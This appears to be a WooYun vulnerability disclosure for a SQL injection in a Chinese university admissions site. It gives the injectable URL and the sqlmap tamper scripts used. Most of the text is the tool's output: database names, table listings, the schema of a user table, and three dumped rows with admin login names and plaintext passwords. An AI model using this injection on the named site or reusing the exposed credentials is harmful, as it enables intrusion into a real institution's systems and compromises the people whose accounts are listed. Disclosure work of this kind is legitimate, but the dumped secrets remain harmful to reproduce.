WooYun.org

注入点：http://zs.xust.edu.cn/searchys.jsp?years=2013

使用脚本：charencode.py,apostrophemask.py

available databases [25]:
[*] CTXSYS
[*] HR
[*] KJDX
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] RMAN
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] WKSYS
[*] WMSYS
[*] XDB
Database: KJDX
[35 tables]
+-------------------+
| PICTURE           |
| QQ_TB_TMP         |
| SYS_FUNC          |
| SYS_JB            |
| SYS_LINK          |
| SYS_MODULE        |
| SYS_ROLEAUTHORITY |
| SYS_USER          |
| SYS_USERAUTHORITY |
| TD_SCHOOLLINK     |
| T_CITY            |
| T_COLL            |
| T_FILE            |
| T_INFO            |
| T_INFOTYPE        |
| T_KFCX            |
| T_LYZX            |
| T_PIC             |
| T_PICTYPE         |
| T_SPE             |
| T_ZSJH            |
| T_ZSJH_TEMP       |
| T_ZSQK            |
| T_ZSYS            |
| ZS_LYDQDM         |
| ZS_TD_KLDM        |
| ZS_TD_KSLBDM      |
| ZS_TD_MZDM        |
| ZS_TD_PCDM        |
| ZS_TD_WYYZDM      |
| ZS_TD_XBDM        |
| ZS_TD_ZZMMDM      |
| ZS_T_JHK          |
| ZS_T_TDD          |
| ZS_XYZYDMB        |
+-------------------+
Database: KJDX
Table: SYS_USER
[5 columns]
+-----------+----------+
| Column    | Type     |
+-----------+----------+
| ID        | NUMBER   |
| LOGINNAME | VARCHAR2 |
| NAME      | VARCHAR2 |
| PASSWORD  | VARCHAR2 |
| YHJB      | NUMBER   |
+-----------+----------+
Database: KJDX
Table: SYS_USER
[3 entries]
+-----+---------+------+------------+-----------+
| ID  | NAME    | YHJB | PASSWORD   | LOGINNAME |
+-----+---------+------+------------+-----------+
| 1   | <blank> | 0    | xustzsbps  | admin     |
| 65  | lzp     | 1    | n1sh1shu1a | lzp       |
| 127 | ad      | 2    | 159357as   | zzz       |
+-----+---------+------+------------+-----------+